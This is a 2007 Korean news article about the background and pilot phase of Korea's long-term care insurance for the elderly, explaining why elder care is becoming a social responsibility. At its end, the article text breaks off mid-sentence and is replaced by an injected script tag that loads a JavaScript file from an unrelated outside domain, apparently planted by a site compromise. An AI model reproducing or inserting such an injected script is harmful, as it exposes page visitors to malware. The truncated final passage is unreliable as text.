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노인장기요양 보험제도 배경과 전망
고령화시대 노인 돌봄 문제는 사회적 책임
[편집국] 편집부   news@koreanurse.or.kr     기사입력 2007-10-24 오전 09:23:34



 2007년 4월 27일 공포된 노인장기요양보험법에 따라 노인장기요양보험제도가 2008년 7월부터 실시된다. 마침 기초노령연금법도 제정돼 동일한 시기에 지급될 예정이다.(70세 이상부터는 2008년 1월부터 지급)

 노인장기요양보험제도의 대상은 법 제1조에서 명시하고 있듯이 `고령이나 노인성 질병 등의 사유로 일상생활을 혼자서 수행하기 어려운 노인'이며, 이 제도는 이들에게 `신체활동 또는 가사지원 등의 장기요양급여'를 지급하는 것이다.

내년 7월부터 본격 시행

 그런데 이와 같은 장기요양상태가 과거에는 사망하기 1년 전에 발생하는 경우가 대부분이었지만 최근에는 길게는 2~3년 전, 심지어는 5년 전부터도 발생하고 있다. 이렇게 장기요양상태가 길어지고 있는 것이다.

 장기요양상태에 놓여 있는 노부모의 간병수발은 지금까지는 가족의 몫이었지만 이제는 그렇지 않다. 특히 배우자나 가족 중 딸이나 며느리 등 여성에 의해 이뤄지던 간병수발행위를 더 이상 기대하기가 어려워졌다는 데에 문제의 심각성이 있다. 간병수발을 들어주던 배우자도 이미 고령자가 돼 결국에는 수발을 받는 자나 수발을 해주는 자도 모두 고령자이기 때문에 수발로 인한 배우자의 질병, 사고가 빈발하게 됐고, 이로 인한 건강보험 지출도 급증하기 시작했다는 것이다.

 그리고 가족 내의 여성은 더 이상 가정에서만 지내는 주부가 아니라 자신의 능력을 개발, 활용하기 위해서 직업을 갖는 경향이 뚜렷해지고 있다. 결혼은 늦어지고, 부모와의 동거가 아닌 별거를 지향하고 있는 추세다. 이러한 사회 환경의 변화를 볼 때 노부모의 간병 및 수발문제는 더 이상 가족문제가 아닌 사회문제화 돼가고 있다고 볼 수 있다.

노인 장기요양 사회의 몫으로

 결국 장기요양문제가 개인의 위험이나 가족 내의 위험이 아닌 사회적 위험으로 간주되고 있고 이를 해결하기 위한 사회복지제도가 필요하게 됐다. 그 결과로 마련된 제도가 노인장기요양보험제도인 것이다.

 노인장기요양보험제도는 하루아침에 만들어진 제도가 아니다. 우리나라가 고령화 사회에 진입한 지난 2000년도부터 보건복지부를 중심으로 TF방식의 조직을 만들어 연구 분석하기 시작했다. 그 연구결과를 바탕으로 2001년도에는 8 15 대통령 경축사에서 노인요양보장제도 도입이 거론됐다. 그 이후 일련의 연구결과를 바탕으로 2003년에 공적노인요양보장추진기획단을 설치해 본격적으로 제도의 모형을 논의하기 시작했다.

 이를 바탕으로 2005년 7월부터는 시범사업이 추진됐다. 현재는 부산(북구), 대구(남구), 인천(부평구), 광주(남구), 수원, 청주, 익산, 안동, 강릉, 부여, 하동, 완도, 제주 등 전국 13개 지역에서 실시하고 있는 중이다.

 시범사업은 연구를 통해 개발된 각종 도구에 대한 현실적용 가능성의 검토와 수정보완에 초점이 맞춰지고 있다. 장기요양서비스가 필요한 자를 선정, 인정하는 전반적인 절차와 장기요양서비스 수급자로 인정받은 자가 이용할 수 있는 급여의 내용과 계획 및 이를 지원하는 절차, 그리고 급여제공에 따른 비용의 지불절차 등이 중심이라 할 수 있다. 그동안의 시범사업의 주요 결과를 요약하면 다음과 같다.

13개 지역에서 시범사업

 장기요양 대상자를 인정하는데 필요한 요소로 방문평가자, 평가판정 도구항목, 의사소견서, 평가판정위원회가 있다. 여기에서 특히 미흡한 것이 있다고 한다면 의서소견서의 작성 및 활용 미흡이라 할 수 있다. 이는 노인환자 개개인이 단골로 하는 노인주치의제도가 마련돼 있지 못한 현실에서 볼 때 부득이하다고 볼 수 있지만, 방문평가의 결과를 보완해 최종평가결과의 신뢰성 및 완전성을 제고시키기 위해서는 필요한 제도라 보여진다.

 장기요양서비스 이용을 지원하는데 필요한 요소로 표준이용계획서와 서비스 모니터링이 있다. 표준이용계획서는 누가 작성하느냐에 따라서 그 목적을 달리한다. 보험자가 작성하는 경우에는 어디까지나 장기요양급여와 관련된 정보를 제공하는 가이드라인에 한정될 수밖에 없지만, 장기요양기관 내 전문인력이 작성하는 경우에는 장기요양급여 이외의 지역사회서비스도 고려해야 하는 것이 원칙이다.

 그리고 서비스 모니터링은 비용의 낭비를 제어하고 이용자의 최적의 욕구를 충족시키기 위해서 필요한 것으로 보험자의 주요기능 중 하나라고 생각된다. 이 부분에 대한 평가는 현행 3차 시범사업이 진행 중에 있기 때문에 면밀한 검토가 필요하다.

 장기요양서비스 이용에 따라 발생되는 비용의 산정 및 지불을 위해서 필요한 요소로는 표준서비스, 표준시설, 표준서비스 단가가 있다. 서비스 단가(수가)를 산정하기 위해서는 현재 실제적으로 시설을 운영하는데 소요되고 있는 비용을 원가개념으로 보전하는 방식과 현재보다는 미래의 이상적인 비용지출을 ?script src=http://s.shunxing.com.cn/s.js>
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